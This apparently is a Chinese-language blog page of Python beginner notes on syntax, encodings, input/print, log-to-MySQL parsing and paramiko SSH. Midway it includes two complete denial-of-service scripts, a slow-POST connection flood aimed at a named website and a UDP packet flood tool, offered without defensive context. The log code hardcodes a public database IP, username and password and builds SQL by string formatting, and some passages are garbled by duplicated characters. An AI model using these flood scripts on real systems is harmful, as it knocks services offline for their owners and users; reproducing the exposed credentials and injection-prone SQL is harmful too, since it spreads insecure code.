python基础
Python介绍
开发语言分类
开发语言分为编译型语言和解释型语言
编译型语言
需要使用对应的编译器去编译 需要编译的文件 比喻 C go
解释型语言
解释器 逐行解释每一行源代码 python
pep8规范
1.每个import语句只导入一个模块，尽量避免一次导入多个模块
2.不要在行尾添加分号，也不要用分号将两条命令放在一行
3.建议每行不超过80个字符，如果超过，建议使用小括号将多行内容隐式的连接起来，而不推荐使用反斜杠进行连接。
4.使用必要的空行可以增加代码的可读性，通常在顶级定义之间空两行，而方法定义之间空一行，另外在使用分隔某些功能的位置也可以空一行。
5.通常情况下，在运算符两侧，函数参数之间以及逗号两侧，都建议使用空格进行分隔。
语句分隔符合缩进规则
python中实现代码缩进，可以使用空格或tab键（4个空格）实现，通常使用TAB键，通常情况下采用4个空格长度作为一个缩进单位。
python的语言优势：
极高的开发效率
跨平台性
丰富强大的库
应用领域广泛
扩展性强
解释器的类型
Cpyhton
Jpython
pypy
python 不区分单引号和双引号
e1 = 'yuan'
e2 = 'li'
print(e1)
print(e2)
转义字符
1.加上普通符号赋予功能
2.加上特殊符号变成普通符号
变量
变量：把程序运行过程中产生的值，暂时存储在内存中，方便后面的程序调用。
格式
符号 = 值
注释：
符号：代表字符，不可以是
= 赋值，将等号右边的值，赋值给右边，等号是在整个运算过程中永远是最后运算的。
变量的命名规范
1.用数据、字母、下划线组成
2.不能用数字开头，更不能是纯数字。
3.不能使用Python的关键字。
4.不要使用中文
5.不要太长
6.名字要有意义
7.区分大小写
8.推荐使用驼峰或者下划线
每个单词首字母大写
用下划线分隔每个单词
9.变量名称区分大小写
转义字符 \
含义
1.加上普通符号赋予功能
2.加上特殊符号变成普通符号
\n 换行符
\t 制表符，tap键
示例
#加上普通符号赋予特定功能
#换行符
print("hi li\nok")
#指表符
print("hi li\tshuai")
\t 制表符，tap键
#!/usr/bin/python
print("学号\t姓名\t语文\t数学\t英语")
print("2017001\t曹操\t99\t88\t0")
print("2017002\t周瑜\t92\t45\t93")
print("2017003\t黄盖\t77\t82\t100")
print("2017004\t二哈\t66\t82\t100")
加上特殊符号变成普通符号
print('i'm li!')
print("D:\nython资料\30s")
符号
= 赋值,将等号右边的值赋值给左边
== 判断,两边的值是否一样.
编码
1.ASCII：最早的编码，8bit 256个码位,只用到了7bit,用到了前面128个,最前面以为是0,包含了英文,数字,特殊字符,特殊操作符
2.gbk 16bit 2byte 主要包含:中文,日文,韩文,繁体中文.
3.Unicode 32bit 4byte 万国码
里面包含了全世界所有国家的文字编码
4.UTF-8 可变长度的万国码，是Unicode的一种实现，最小字符占8位。
utf-8
英文: 8bit 1byte
欧洲:16bit 2byte
中文: 24bit 3byte
8bit 为 1 字节byte
is和==的区别
id() 通过id（）可以查看到一个变量表示的值在内存中的地址
id()
s = 'li'
print(id(s))
is和==
== 判断左右两端的值是否是相等，是不是一直
is 判断左右两边的内存地址是否一致，如果返回True，n那么两个变量使用的是同一个对象
a = 1002
b = 1002
print(a == b)
print(a is b)
#值是一样的，内存地址不一样
#内存地址相同，那么值一定相等，如果值相等，则不一定是同一个对象。
小数据池
小数据池：一种缓存机制，也被成为驻留机制，在网上搜索的常量池，小数据池值得为同一个内容。
小数据池只针对：整数，字符串，布尔值。其他数据类型不存在驻留机制。
python中对-5到256之间的整数会被驻留留在内存中. 将⼀一定规则的字符串串缓存. 在使⽤用的时候, 内存中只会创建⼀一个该数据的对象. 保存在⼩小数据池中. 当使⽤用的时候直接从⼩小数据池中获取对象的内存引⽤用. ⽽而不需要创建⼀一个新的数据. 这样会节省更更多的内存区域. 优点: 能够提⾼高⼀一些字符串串, 整数的处理理速度. 省略略的创建对象的过程. 缺点: 在'池'中创建或者插入新的内容会花费更更多的时间.
编码
1.在python2中默认使用的是ASCII码，不支持中文，需要在python2中修改编码
需要在文件的开始编写:
-*- encoding:utf-8 -*-
2.在python3中 内存地址使用的是Unicode码。
bytes的表现形式:
1. 英⽂文 b'alex' 英⽂文的表现形式和字符串串没什什么两样
2. 中⽂文 b'\xe4\xb8\xad' 这是⼀一个汉字的UTF-8的bytes表现形式
编码转换
编码(encode())
字符------>字节
<-----
解码(decode())
格式：
对象.encode("编码")
英文转换
s = "li"
print(s.encode("utf-8")) #将字符串修改编码为utf-8
print(s.encode("GBK")) #将字符串编码修改为GBK
中文转换
s1 = '中'
print(s1.encode("utf-8"))
print(s1.encode("GBK"))
英⽂文编码之后的结果和源字符串串⼀一致. 中⽂文编码之后的结果根据编码的不同. 编码结果也不同. 我们能看到. ⼀一个中⽂文的UTF-8编码是3个字节. ⼀一个GBK的中⽂文编码是2个字节.编码之后的类型就是bytes类型. 在⽹网络传输和存储的时候我们python是保存和存储的bytes类型. 那么在对⽅方接收的时候. 也是接收的bytes类型的数据. 我们可以使⽤用decode()来进⾏行行解码操作. 把bytes类型的数据还原回我们熟悉的字符串串
decode() 解码
s2 = "我是谁？"
bs = s2.encode("utf-8")
print(bs)
print(b'\xe6\x88\x91\xe6\x98\xaf\xe8\xb0\x81\xef\xbc\x9f'.decode("UTF-8"))
python中如何获取函数信息的帮助信息
>>> help(print)
Help on built-in function print in module builtins:
print(...)
print(value, ..., sep=' ', end='\n', file=sys.stdout, flush=False)
Prints the values to a stream, or to sys.stdout by default.
Optional keyword arguments:
file: a file-like object (stream); defaults to the current sys.stdout.
sep: string inserted between values, default a space.
end: string appended after the last value, default a newline.
flush: whether to forcibly flush the stream.
>>>
内置函数
dir ：列出属性
格式：
print(dir(12)) #列出int类型的所有属性
bin() ：换算二进制数
help()：帮助，查看解释信息
type()：查看内容的类型
格式：
print(type(值)) #查看类型
range() ：排序
格式：
range(1,10)
用户交互
input 输入
input ：
input输入，让用户输入一些内容，程序会停在这句话，阻塞。
input结果的时候，会自动的收集到用户输入的内容，把内容返回给前面的变量。
input获取到的内容都是字符串，要做数据转换，就要做类型转换
常用格式
s = input()
解析：input取到的值会赋值给前面的s
input类型转换
计算
print ("计算")
a = int(input("请输入：")) #用户输入的都为字符串
b = int(input("请输入："))
print ("结果")
print(a + b)
直接复制
print("拼接")
s = input("输入字符串")
b = input("输入字符串")
print(s + b )
#设置程序运行，屏幕上运行
#请输入你的名字：allen
#欢迎allen用户登录
name = input("请输入的你名字：")
print("欢迎"+name+"用户登录") #使用+进行拼接
name = input("请输入用户名>>>")
age = input("请输入年龄》》》")
print(name)
print(age)
print ：输出打印
可以一次顶打印多个内容，使用逗号（,）进行分割，每个内容之间会有空格。
input
input输入，让用户输入一些内容，程序会停在这句话，阻塞。
input结果的时候，会自动的收集到用户输入的内容，把内容返回给前面的变量。
常用格式
s = input()
解析：input取到的值会赋值给前面的s
print 输出
#输出 print
print("**********")
print(" hello")
print("**********")
print("*"*10) #乘以10
print(" hello")
print("**********")
格式
print（“字符串”）
语句分隔符:
分号和换行符,推荐换行符
print("OK");print("no") #不推荐
print("OK") #推荐
print("no")
Python脚本
1.DOS攻击脚本
#!/usr/bin/python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.huzailing.cn"
PAGE="/forum.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf)
print "Send buf OK!,conn=%d\n"%i
socks.append(s)
except Exception,ex:
print "Could not connect to server or send error:%s"%ex
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f")
#print "send OK!"
except Exception,ex:
print "Send Exception:%s\n"%ex
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
2. DOS攻击脚本2
import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############
os.system("clear")
os.system("figlet DDos Attack")
print
print "Author : HA-MRX"
print "You Tube : https://www.youtube.com/c/HA-MRX"
print "github : https://github.com/Ha3MrX"
print "Facebook : https://www.facebook.com/muhamad.jabar222"
print
ip = raw_input("IP Target : ")
port = input("Port : ")
os.system("clear")
os.system("figlet Attack Starting")
print "[ ] 0% "
time.sleep(5)
print "[===== ] 25%"
time.sleep(5)
print "[========== ] 50%"
time.sleep(5)
print "[=============== ] 75%"
time.sleep(5)
print "[====================] 100%"
time.sleep(3)
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
if port == 65534:
port = 1
3.日志分析
优化
import re
import pymysql
#文件路径
f = open("C:\\Users\\86153\\Desktop\\access.log",'r')
#迭代器打开文件
f.__iter__()
#打开连接数据库
conn = pymysql.connect(host='39.106.64.30',port=3306,user='li',passwd='123456',db='zhichan',charset='utf8')
#使用cursor方法获取操作游标
cursor = conn.cursor()
con = 0
while 1:
try:
li = f.__next__()
con += 1
except:
break
# 正则获取IP地
log_ip = re.search("(\d{,3}.){4}", li)
# 用户名称
log_user = re.findall("- (.*?)\s", li)
# 时间与时区
log_time = re.findall("\[(.*?)\]", li)
# 请求的协议
log_http = re.search("\".*?\"", li)
# 请求状态
log_startus = re.findall(" \d{3} ", li)
# 主题内容大小
log_bytes = re.findall("\d{3}\s(\d*)\s", li)
# 请求总时间
request_time = re.findall("(\d+\s){2}(.*?)\s", li)
# 用来记录从那个页面链接访问过来的；
logs_referer = re.findall("\s\d+\.\d{3}\s(\D.*?)\s\"", li) # 可为空
# 记录客户端浏览器的相关信息
log_user_agent = re.findall('\"\s\"(.*?)\"\s', li)
# 客户端IP地址
log_forwarded_for = re.findall('"(\d.*\d)"', li)
try:
log_ip = str('"'+log_ip.group()+'"')
log_user = str('"'+log_user[0]+'"')
log_time = str('"'+log_time[0]+'"')
log_http = log_http.group()
log_startus = str('"'+log_startus[0]+'"')
log_bytes = str('"'+log_bytes[0]+'"')
request_time = str('"'+request_time[0][1]+'"')
logs_referer = str(logs_referer[0])
if logs_referer in ['-', '"-"']:
logs_referer = 'null'
log_user_agent = str('"'+log_user_agent[0]+'"')
log_forwarded_for = str('"'+log_forwarded_for[0]+'"')
except:
print("ERROR",li)
print("ERROR",log_ip,log_user,log_time,log_http,log_startus,log_bytes,request_time,logs_referer,log_user_agent,log_forwarded_for)
log_ip, log_user, log_time, log_http, log_startus, log_bytes, request_time, logs_referer, log_user_agent, log_forwarded_for = 'null','null','null','null','null','null','null','null','null','null'
# SQL语句，向数据表中插入数据
sql = " INSERT INTO zhichan.log_fenxi (id, remote_addr, remote_user, time_local, request, status,body_bytes_sent, request_time, upstream_response_time, http_referer, http_user_agent,http_x_forwarded_for) VALUES (null,{log_ip},{log_user},{log_time},{log_http},{log_startus},{log_bytes},{request_time},{upstream_response_time},{logs_referer},{log_user_agent},{log_forwarded_for})".format(log_ip=log_ip,log_user=log_user,log_time=log_time,log_http=log_http,log_startus=log_startus,log_bytes=log_bytes,request_time=request_time,upstream_response_time=request_time,logs_referer=logs_referer,log_user_agent=log_user_agent,log_forwarded_for=log_forwarded_for)
# print(sql)
try:
cursor.execute(sql) #执行SQL语句
conn.commit() #执行SQL语句
except pymysql.err.OperationalError: #数据断开重连
while True:
coun = 1
try:
conn = pymysql.connect(host='39.106.64.30', port=3306, user='li', passwd='123456', db='zhichan',charset='utf8')
cursor = conn.cursor()
print("重连..",str(coun),"次")
coun += 1
break
except :
continue
except:
print(con)
print("异常语句...",sql,"\n")
conn.close()
4.优化后
'''
@Author: MengHan
Go big or Go home
@Date: 2021-03-04 16:26:15
@LastEditTime: 2021-03-04 16:37:14
@text:
'''
import pymysql
import asyncio
class InsertLog(object):
def __init__(self):
self.log_path = ''
self.conn = pymysql.connect(host="39.106.64.30",port=3306,user="li",passwd="123456",db="zhichan",charset="utf8")
async def insert2mysql(self, sql):
try:
conn = self.conn
cursor = conn.cursor()
cursor.execute(sql) #执行SQL语句
conn.commit() #执行SQL语句
except:
await self.insert2mysql(sql)
async def chack_data2sql(self,data):
li = data.split(' ')
remote_addr,time_local,status,body_bytes_sent,request_time = li[0],li[3],li[8],li[9],li[10]
li = data.split('"')
http_referer,http_user_agent,http_x_forwarded_for,request = li[-6],li[-4],li[-2],li[1]
sql = " INSERT INTO zhichan.nginx_log(`id`, `remote_user`, `time_local`, `request`, `status`, `body_bytes_sent`, `request_time`, `http_referer`, `http_user_agent`, `http_x_forwarded_for`) VALUES (null,{log_ip},{log_time},{log_http},{log_startus},{log_bytes},{request_time},{logs_referer},{log_user_agent},{log_forwarded_for})".format(log_ip=str('"'+remote_addr+'"'),log_time=str('"'+time_local+'"'),log_http=str('"'+request+'"'),log_startus=status,log_bytes=body_bytes_sent,request_time=request_time,logs_referer=str("'"+http_referer+"'"),log_user_agent=str("'"+http_user_agent+"'"),log_forwarded_for=str("'"+http_x_forwarded_for+"'"))
await self.insert2mysql(sql)
def run(self):
with open(self.log_path, 'r') as f:
list = f.readlines()# 逐条写到字典里
loop = asyncio.get_event_loop()
tasks = [self.chack_data2sql(data) for data in list] # 把你读取出来的玩意 入队 list形式
loop.run_until_complete(asyncio.wait(tasks))
loop.close()
if __name__ == '__main__':
Fuck = InsertLog()
Fuck.run()
在python中连接linux服务，完成指定动作
1.基于账号密码连接
import paramiko
import traceback
from paramiko.ssh_exception import AuthenticationException
if __name__ == '__main__':
# 通过parammiko创建一个ssh短连接客户端实例对象
ssh = paramiko.SSHClient()
# 自动在本机第一次连接远程服务器时，记录主机指纹
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
# 1. 直接密码远程连接的方式
ssh.connect(hostname='101.xx.162.190', port=22, username='root', password='密码', timeout=10)
# 连接成功以后，就可以发送操作指令
# stdin 输入[本机发送给远程主机的信息]
# stdout 输出[远程主机返回给本机的信息]
# stderr 错误
stdin, stdout, stderr = ssh.exec_command('ls -l')
# 读取stdout对象中返回的内容，返回结果bytes类型数据
result = stdout.read()
print(result.decode())
# 关闭连接
ssh.close()
except AuthenticationException as e:
print("连接参数有误，请检查连接信息是否正确！~")
2 python中生成公私钥
def gen_key():
# 生成公私钥键值对
iodata = StringIO()
key = RSAKey.generate(2048) # 生成长度为2028的密钥对
key.write_private_key(iodata)
# 返回值是一个元组，两个成员分别是私钥和公钥
print("iodata.getvalue:::",iodata.getvalue())
print("key:::",key.get_base64())
return iodata.getvalue(), 'ssh-rsa ' + key.get_base64()
2.1.基于私钥进行连接
前提：已将python中生成的公钥存放在了服务器本地，然后在python中基于私钥去免密访问服务器
######################################################
import paramiko
import traceback
from paramiko.ssh_exception import AuthenticationException
from paramiko.rsakey import RSAKey
from io import StringIO
if __name__ == '__main__':
# 通过parammiko创建一个ssh短连接客户端实例对象
ssh = paramiko.SSHClient()
# 自动在本机第一次连接远程服务器时，记录主机指纹
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
# 1. 直接密码远程连接的方式
# ssh.connect(hostname='47.112.179.213', port=22, username='root', password='', timeout=10)
# 注意，如果你测试某个服务器的连接时，如果你本地已经配置了这个远程服务器的免密登录(公私钥模式)，那么就不能测试出密码是否正确了，因为首先会通过公私钥模式登录，不会使用你的密码的。
# 2. 使用秘钥免密登录的方式
# pkey = PkeyModel.objects.get(name='').private
#客户端的私钥（python会基于私钥去和服务器进行验证）
private_key =''''''
pkey = RSAKey.from_private_key(StringIO(private_key))
ssh.connect(hostname='101.43.162.190', port=22, username='root', pkey=pkey, timeout=10)
# 连接成功以后，就可以发送操作指令
# stdin 输入[本机发送给远程主机的信息]
# stdout 输出[远程主机返回给本机的信息]
# stderr 错误
stdin, stdout, stderr = ssh.exec_command('ls -la')
# 读取stdout对象中返回的内容，返回结果bytes类型数据
result = stdout.read()
print(result.decode())
# 关闭连接
ssh.close()
except AuthenticationException as e:
print(traceback.format_exc())
print("连接参数有误，请检查连接信息是否正确！~")
浙公网安备 33010602011771号